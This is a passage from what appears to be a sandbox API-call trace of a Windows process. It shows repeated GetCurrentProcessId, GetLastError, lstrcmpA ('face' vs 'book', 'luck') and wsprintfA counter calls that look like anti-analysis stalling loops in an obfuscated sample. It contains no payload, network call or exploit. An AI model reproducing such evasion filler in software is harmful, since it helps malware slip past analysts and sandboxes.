returned 4 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] lstrlenA (lpString="just string") returned 11 [0041.624] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.624] GetLastError () returned 0x57 [0041.624] GetLastError () returned 0x57 [0041.624] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcess () returned 0xffffffff [0041.624] GetLastError () returned 0x57 [0041.624] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="144P") returned 4 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcess () returned 0xffffffff [0041.624] GetLastError () returned 0x57 [0041.624] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="145P") returned 4 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetLastError () returned 0x57 [0041.624] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="146P") returned 4 [0041.624] SetLastError (dwErrCode=0x57) [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] lstrlenA (lpString="just string") returned 11 [0041.624] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.624] GetLastError () returned 0x57 [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] GetCurrentProcessId () returned 0x81c [0041.624] lstrlenA (lpString="just string") returned 11 [0041.624] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.624] GetLastError () returned 0x57 [0041.625] GetLastError () returned 0x57 [0041.625] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcess () returned 0xffffffff [0041.625] GetLastError () returned 0x57 [0041.625] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="19EP") returned 4 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcess () returned 0xffffffff [0041.625] GetLastError () returned 0x57 [0041.625] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="19FP") returned 4 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetLastError () returned 0x57 [0041.625] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1A0P") returned 4 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] lstrlenA (lpString="just string") returned 11 [0041.625] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.625] GetLastError () returned 0x57 [0041.625] lstrlenA (lpString="just string") returned 11 [0041.625] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.625] GetLastError () returned 0x57 [0041.625] GetLastError () returned 0x57 [0041.625] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcess () returned 0xffffffff [0041.625] GetLastError () returned 0x57 [0041.625] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1EEP") returned 4 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcess () returned 0xffffffff [0041.625] GetLastError () returned 0x57 [0041.625] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1EFP") returned 4 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetLastError () returned 0x57 [0041.625] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="1F0P") returned 4 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] GetCurrentProcessId () returned 0x81c [0041.625] lstrlenA (lpString="just string") returned 11 [0041.625] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.625] GetLastError () returned 0x57 [0041.625] GetLastError () returned 0x57 [0041.625] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.625] SetLastError (dwErrCode=0x57) [0041.625] GetCurrentProcess () returned 0xffffffff [0041.625] GetLastError () returned 0x57 [0041.625] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="216P") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcess () returned 0xffffffff [0041.626] GetLastError () returned 0x57 [0041.626] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="217P") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetLastError () returned 0x57 [0041.626] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="218P") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] lstrlenA (lpString="just string") returned 11 [0041.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.626] GetLastError () returned 0x57 [0041.626] GetLastError () returned 0x57 [0041.626] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="25EP") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] lstrlenA (lpString="just string") returned 11 [0041.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.626] GetLastError () returned 0x57 [0041.626] GetCurrentProcess () returned 0xffffffff [0041.626] GetLastError () returned 0x57 [0041.626] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="267P") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetLastError () returned 0x57 [0041.626] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="268P") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] lstrlenA (lpString="just string") returned 11 [0041.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.626] GetLastError () returned 0x57 [0041.626] GetCurrentProcess () returned 0xffffffff [0041.626] GetLastError () returned 0x57 [0041.626] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="299P") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetLastError () returned 0x57 [0041.626] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="29AP") returned 4 [0041.626] SetLastError (dwErrCode=0x57) [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] GetCurrentProcessId () returned 0x81c [0041.626] lstrlenA (lpString="just string") returned 11 [0041.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.626] GetLastError () returned 0x57 [0041.626] lstrlenA (lpString="just string") returned 11 [0041.626] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.626] GetLastError () returned 0x57 [0041.626] GetLastError () returned 0x57 [0041.626] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.626] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcess () returned 0xffffffff [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2DEP") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcess () returned 0xffffffff [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2DFP") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="2E0P") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] lstrlenA (lpString="just string") returned 11 [0041.627] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.627] GetLastError () returned 0x57 [0041.627] GetLastError () returned 0x57 [0041.627] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcess () returned 0xffffffff [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31AP") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcess () returned 0xffffffff [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31BP") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="31CP") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] lstrlenA (lpString="just string") returned 11 [0041.627] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.627] GetLastError () returned 0x57 [0041.627] GetLastError () returned 0x57 [0041.627] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcess () returned 0xffffffff [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="324P") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetCurrentProcess () returned 0xffffffff [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="325P") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.627] GetCurrentProcessId () returned 0x81c [0041.627] GetLastError () returned 0x57 [0041.627] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="326P") returned 4 [0041.627] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] lstrlenA (lpString="just string") returned 11 [0041.628] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.628] GetLastError () returned 0x57 [0041.628] GetLastError () returned 0x57 [0041.628] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcess () returned 0xffffffff [0041.628] GetLastError () returned 0x57 [0041.628] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="338P") returned 4 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcess () returned 0xffffffff [0041.628] GetLastError () returned 0x57 [0041.628] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="339P") returned 4 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetLastError () returned 0x57 [0041.628] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="33AP") returned 4 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] lstrlenA (lpString="just string") returned 11 [0041.628] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.628] GetLastError () returned 0x57 [0041.628] GetCurrentProcess () returned 0xffffffff [0041.628] GetLastError () returned 0x57 [0041.628] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="361P") returned 4 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetLastError () returned 0x57 [0041.628] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="362P") returned 4 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] lstrlenA (lpString="just string") returned 11 [0041.628] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.628] GetLastError () returned 0x57 [0041.628] GetLastError () returned 0x57 [0041.628] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcess () returned 0xffffffff [0041.628] GetLastError () returned 0x57 [0041.628] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="388P") returned 4 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetCurrentProcess () returned 0xffffffff [0041.628] GetLastError () returned 0x57 [0041.628] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="389P") returned 4 [0041.628] SetLastError (dwErrCode=0x57) [0041.628] GetCurrentProcessId () returned 0x81c [0041.628] GetLastError () returned 0x57 [0041.629] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="38AP") returned 4 [0041.629] SetLastError (dwErrCode=0x57) [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] lstrlenA (lpString="just string") returned 11 [0041.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.629] GetLastError () returned 0x57 [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] lstrlenA (lpString="just string") returned 11 [0041.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.629] GetLastError () returned 0x57 [0041.629] GetLastError () returned 0x57 [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] lstrlenA (lpString="just string") returned 11 [0041.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.629] GetLastError () returned 0x57 [0041.629] GetCurrentProcess () returned 0xffffffff [0041.629] GetLastError () returned 0x57 [0041.629] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="415P") returned 4 [0041.629] SetLastError (dwErrCode=0x57) [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetLastError () returned 0x57 [0041.629] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="416P") returned 4 [0041.629] SetLastError (dwErrCode=0x57) [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] lstrlenA (lpString="just string") returned 11 [0041.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.629] GetLastError () returned 0x57 [0041.629] lstrlenA (lpString="just string") returned 11 [0041.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.629] GetLastError () returned 0x57 [0041.629] GetLastError () returned 0x57 [0041.629] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.629] SetLastError (dwErrCode=0x57) [0041.629] GetCurrentProcess () returned 0xffffffff [0041.629] GetLastError () returned 0x57 [0041.629] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="43CP") returned 4 [0041.629] SetLastError (dwErrCode=0x57) [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcess () returned 0xffffffff [0041.629] GetLastError () returned 0x57 [0041.629] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="43DP") returned 4 [0041.629] SetLastError (dwErrCode=0x57) [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetLastError () returned 0x57 [0041.629] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="43EP") returned 4 [0041.629] SetLastError (dwErrCode=0x57) [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] GetCurrentProcessId () returned 0x81c [0041.629] lstrlenA (lpString="just string") returned 11 [0041.629] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.629] GetLastError () returned 0x57 [0041.629] GetLastError () returned 0x57 [0041.629] GetCurrentProcess () returned 0xffffffff [0041.630] GetLastError () returned 0x57 [0041.630] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="497P") returned 4 [0041.630] SetLastError (dwErrCode=0x57) [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetLastError () returned 0x57 [0041.630] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="498P") returned 4 [0041.630] SetLastError (dwErrCode=0x57) [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] lstrlenA (lpString="just string") returned 11 [0041.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.630] GetLastError () returned 0x57 [0041.630] lstrlenA (lpString="just string") returned 11 [0041.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.630] GetLastError () returned 0x57 [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] lstrlenA (lpString="just string") returned 11 [0041.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.630] GetLastError () returned 0x57 [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] lstrlenA (lpString="just string") returned 11 [0041.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.630] GetLastError () returned 0x57 [0041.630] lstrlenA (lpString="just string") returned 11 [0041.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.630] GetLastError () returned 0x57 [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] lstrlenA (lpString="just string") returned 11 [0041.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.630] GetLastError () returned 0x57 [0041.630] GetLastError () returned 0x57 [0041.630] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.630] SetLastError (dwErrCode=0x57) [0041.630] GetCurrentProcess () returned 0xffffffff [0041.630] GetLastError () returned 0x57 [0041.630] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5C2P") returned 4 [0041.630] SetLastError (dwErrCode=0x57) [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcess () returned 0xffffffff [0041.630] GetLastError () returned 0x57 [0041.630] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5C3P") returned 4 [0041.630] SetLastError (dwErrCode=0x57) [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetLastError () returned 0x57 [0041.630] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="5C4P") returned 4 [0041.630] SetLastError (dwErrCode=0x57) [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] GetCurrentProcessId () returned 0x81c [0041.630] lstrlenA (lpString="just string") returned 11 [0041.630] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.630] GetLastError () returned 0x57 [0041.630] GetLastError () returned 0x57 [0041.630] GetLastError () returned 0x57 [0041.630] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] lstrlenA (lpString="just string") returned 11 [0041.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.631] GetLastError () returned 0x57 [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] lstrlenA (lpString="just string") returned 11 [0041.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.631] GetLastError () returned 0x57 [0041.631] GetLastError () returned 0x57 [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] lstrlenA (lpString="just string") returned 11 [0041.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.631] GetLastError () returned 0x57 [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] lstrlenA (lpString="just string") returned 11 [0041.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.631] GetLastError () returned 0x57 [0041.631] GetLastError () returned 0x57 [0041.631] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.631] SetLastError (dwErrCode=0x57) [0041.631] GetCurrentProcess () returned 0xffffffff [0041.631] GetLastError () returned 0x57 [0041.631] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="6DAP") returned 4 [0041.631] SetLastError (dwErrCode=0x57) [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcess () returned 0xffffffff [0041.631] GetLastError () returned 0x57 [0041.631] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="6DBP") returned 4 [0041.631] SetLastError (dwErrCode=0x57) [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetLastError () returned 0x57 [0041.631] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="6DCP") returned 4 [0041.631] SetLastError (dwErrCode=0x57) [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] lstrlenA (lpString="just string") returned 11 [0041.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.631] GetLastError () returned 0x57 [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] lstrlenA (lpString="just string") returned 11 [0041.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.631] GetLastError () returned 0x57 [0041.631] GetCurrentProcessId () returned 0x81c [0041.631] lstrlenA (lpString="just string") returned 11 [0041.631] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetLastError () returned 0x57 [0041.632] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.632] SetLastError (dwErrCode=0x57) [0041.632] GetCurrentProcess () returned 0xffffffff [0041.632] GetLastError () returned 0x57 [0041.632] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="7A2P") returned 4 [0041.632] SetLastError (dwErrCode=0x57) [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcess () returned 0xffffffff [0041.632] GetLastError () returned 0x57 [0041.632] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="7A3P") returned 4 [0041.632] SetLastError (dwErrCode=0x57) [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetLastError () returned 0x57 [0041.632] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="7A4P") returned 4 [0041.632] SetLastError (dwErrCode=0x57) [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetLastError () returned 0x57 [0041.632] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="7E0P") returned 4 [0041.632] SetLastError (dwErrCode=0x57) [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetLastError () returned 0x57 [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.632] GetLastError () returned 0x57 [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] GetCurrentProcessId () returned 0x81c [0041.632] lstrlenA (lpString="just string") returned 11 [0041.632] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.633] GetLastError () returned 0x57 [0041.633] GetCurrentProcess () returned 0xffffffff [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="8CFP") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="8D0P") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] lstrlenA (lpString="just string") returned 11 [0041.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.633] GetLastError () returned 0x57 [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="8EEP") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] lstrlenA (lpString="just string") returned 11 [0041.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.633] GetLastError () returned 0x57 [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="8F8P") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] lstrlenA (lpString="just string") returned 11 [0041.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.633] GetLastError () returned 0x57 [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] lstrlenA (lpString="just string") returned 11 [0041.633] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.633] GetLastError () returned 0x57 [0041.633] GetCurrentProcess () returned 0xffffffff [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="933P") returned 4 [0041.633] SetLastError (dwErrCode=0x57) [0041.633] GetCurrentProcessId () returned 0x81c [0041.633] GetLastError () returned 0x57 [0041.633] wsprintfA (in: 